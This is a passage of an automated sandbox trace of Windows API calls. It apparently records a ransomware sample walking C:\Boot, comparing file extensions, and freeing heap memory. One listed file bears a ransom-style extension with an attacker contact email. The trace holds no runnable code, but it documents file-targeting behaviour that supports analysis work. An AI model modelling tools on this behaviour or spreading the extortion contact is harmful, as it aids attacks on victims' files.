(lpString1=".p7b", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".p7c") returned 4 [0157.790] lstrcmpiW (lpString1=".p7c", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".pam") returned 4 [0157.790] lstrcmpiW (lpString1=".pam", lpString2="LOG1") returned -1 [0157.790] lstrlenW (lpString=".pbm") returned 4 [0157.791] lstrcmpiW (lpString1=".pbm", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pct") returned 4 [0157.791] lstrcmpiW (lpString1=".pct", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pcx") returned 4 [0157.791] lstrcmpiW (lpString1=".pcx", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pdd") returned 4 [0157.791] lstrcmpiW (lpString1=".pdd", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pdf") returned 4 [0157.791] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pdp") returned 4 [0157.791] lstrcmpiW (lpString1=".pdp", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pef") returned 4 [0157.791] lstrcmpiW (lpString1=".pef", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pem") returned 4 [0157.791] lstrcmpiW (lpString1=".pem", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pff") returned 4 [0157.791] lstrcmpiW (lpString1=".pff", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pfm") returned 4 [0157.791] lstrcmpiW (lpString1=".pfm", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pfx") returned 4 [0157.791] lstrcmpiW (lpString1=".pfx", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".pgm") returned 4 [0157.791] lstrcmpiW (lpString1=".pgm", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".php") returned 4 [0157.791] lstrcmpiW (lpString1=".php", lpString2="LOG1") returned -1 [0157.791] lstrlenW (lpString=".php3") returned 5 [0157.791] lstrcmpiW (lpString1=".php3", lpString2=".LOG1") returned 1 [0157.791] lstrlenW (lpString=".php4") returned 5 [0157.791] lstrcmpiW (lpString1=".php4", lpString2=".LOG1") returned 1 [0157.791] lstrlenW (lpString=".php5") returned 5 [0157.791] lstrcmpiW (lpString1=".php5", lpString2=".LOG1") returned 1 [0157.791] lstrlenW (lpString=".phtml") returned 6 [0157.792] lstrcmpiW (lpString1=".phtml", lpString2="D.LOG1") returned -1 [0157.792] lstrlenW (lpString=".pict") returned 5 [0157.792] lstrcmpiW (lpString1=".pict", lpString2=".LOG1") returned 1 [0157.792] lstrlenW (lpString=".pl") returned 3 [0157.792] lstrcmpiW (lpString1=".pl", lpString2="OG1") returned -1 [0157.792] lstrlenW (lpString=".pls") returned 4 [0157.792] lstrcmpiW (lpString1=".pls", lpString2="LOG1") returned -1 [0157.792] lstrlenW (lpString=".pm") returned 3 [0157.792] lstrcmpiW (lpString1=".pm", lpString2="OG1") returned -1 [0157.792] lstrlenW (lpString=".png") returned 4 [0157.792] lstrcmpiW (lpString1=".png", lpString2="LOG1") returned -1 [0157.792] lstrlenW (lpString=".pnm") returned 4 [0157.792] lstrcmpiW (lpString1=".pnm", lpString2="LOG1") returned -1 [0157.792] lstrlenW (lpString=".pot") returned 4 [0157.792] lstrcmpiW (lpString1=".pot", lpString2="LOG1") returned -1 [0157.792] lstrlenW (lpString=".potm") returned 5 [0157.792] lstrcmpiW (lpString1=".potm", lpString2=".LOG1") returned 1 [0157.792] lstrlenW (lpString=".potx") returned 5 [0157.792] lstrcmpiW (lpString1=".potx", lpString2=".LOG1") returned 1 [0157.792] lstrlenW (lpString=".ppa") returned 4 [0157.792] lstrcmpiW (lpString1=".ppa", lpString2="LOG1") returned -1 [0157.792] lstrlenW (lpString=".ppam") returned 5 [0157.792] lstrcmpiW (lpString1=".ppam", lpString2=".LOG1") returned 1 [0157.792] lstrlenW (lpString=".ppm") returned 4 [0157.792] lstrcmpiW (lpString1=".ppm", lpString2="LOG1") returned -1 [0157.792] lstrlenW (lpString=".pps") returned 4 [0157.792] lstrcmpiW (lpString1=".pps", lpString2="LOG1") returned -1 [0157.792] lstrlenW (lpString=".ppsm") returned 5 [0157.792] lstrcmpiW (lpString1=".ppsm", lpString2=".LOG1") returned 1 [0157.792] lstrlenW (lpString=".ppt") returned 4 [0157.792] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1 [0157.792] lstrlenW (lpString=".pptm") returned 5 [0157.792] lstrcmpiW (lpString1=".pptm", lpString2=".LOG1") returned 1 [0157.792] lstrlenW (lpString=".pptx") returned 5 [0157.792] lstrcmpiW (lpString1=".pptx", lpString2=".LOG1") returned 1 [0157.792] lstrlenW (lpString=".prn") returned 4 [0157.792] lstrcmpiW (lpString1=".prn", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".ps") returned 3 [0157.793] lstrcmpiW (lpString1=".ps", lpString2="OG1") returned -1 [0157.793] lstrlenW (lpString=".psb") returned 4 [0157.793] lstrcmpiW (lpString1=".psb", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".psd") returned 4 [0157.793] lstrcmpiW (lpString1=".psd", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".pst") returned 4 [0157.793] lstrcmpiW (lpString1=".pst", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".ptx") returned 4 [0157.793] lstrcmpiW (lpString1=".ptx", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".pub") returned 4 [0157.793] lstrcmpiW (lpString1=".pub", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".pwm") returned 4 [0157.793] lstrcmpiW (lpString1=".pwm", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".pxr") returned 4 [0157.793] lstrcmpiW (lpString1=".pxr", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".py") returned 3 [0157.793] lstrcmpiW (lpString1=".py", lpString2="OG1") returned -1 [0157.793] lstrlenW (lpString=".qt") returned 3 [0157.793] lstrcmpiW (lpString1=".qt", lpString2="OG1") returned -1 [0157.793] lstrlenW (lpString=".r3d") returned 4 [0157.793] lstrcmpiW (lpString1=".r3d", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".raf") returned 4 [0157.793] lstrcmpiW (lpString1=".raf", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".rar") returned 4 [0157.793] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1 [0157.793] lstrlenW (lpString=".raw") returned 4 [0157.793] lstrcmpiW (lpString1=".raw", lpString2="LOG1") returned -1 [0157.793] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0157.794] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0157.794] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.794] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4845d8 [0157.794] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.794] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0157.794] FindNextFileW (in: hFindFile=0x4845d8, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0157.794] FindClose (in: hFindFile=0x4845d8 | out: hFindFile=0x4845d8) returned 1 [0157.794] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.795] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0157.795] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x3a39916f, ftCreationTime.dwHighDateTime=0x1d5e206, ftLastAccessTime.dwLowDateTime=0x3a39916f, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x3a3bf402, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x100fc, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT.id-B4197730.[notgoodnews@tutanota.com].NEWS", cAlternateFileName="BOOTST~1.NEW")) returned 1 [0157.795] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0157.795] FindNextFileW (in: hFindFile=0x484558, lpFindFileData=0x30dfa7c | out: lpFindFileData=0x30dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0157.795] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.795] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x484198 [0157.796] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0157.796] FindNextFileW (in: hFindFile=0x484198, lpFindFileData=0x30df800 | out: lpFindFileData=0x30df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0157.797] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.797] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x3fc0980 [0157.801] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.802] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.802] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.803] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.803] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.804] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.805] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.806] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.967] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.967] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.967] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.967] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.968] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0157.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.969] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.970] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.971] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.971] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fe4818 | out: hHeap=0x420000) returned 1 [0157.971] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0157.972] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0158.106] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0158.124] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0158.125] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3891448 | out: hHeap=0x420000) returned 1 [0158.127] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fc0980 | out: hHeap=0x420000) returned 1 [0158.131] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.134] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.135] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.136] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.136] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.136] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.139] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.139] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.139] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.140] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.142] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.143] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.146] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.147] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.149] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.286] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.287] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.288] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.288] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.288] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.288] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.289] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.290] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.291] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3ff4820 | out: hHeap=0x420000) returned 1 [0158.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.326] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.328] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.329] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.329] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.329] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.331] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.331] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.331] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4004828 | out: hHeap=0x420000) returned 1 [0158.332] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 | out: hHeap=0x420000) returned 1 [0158.334] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x3fd0988 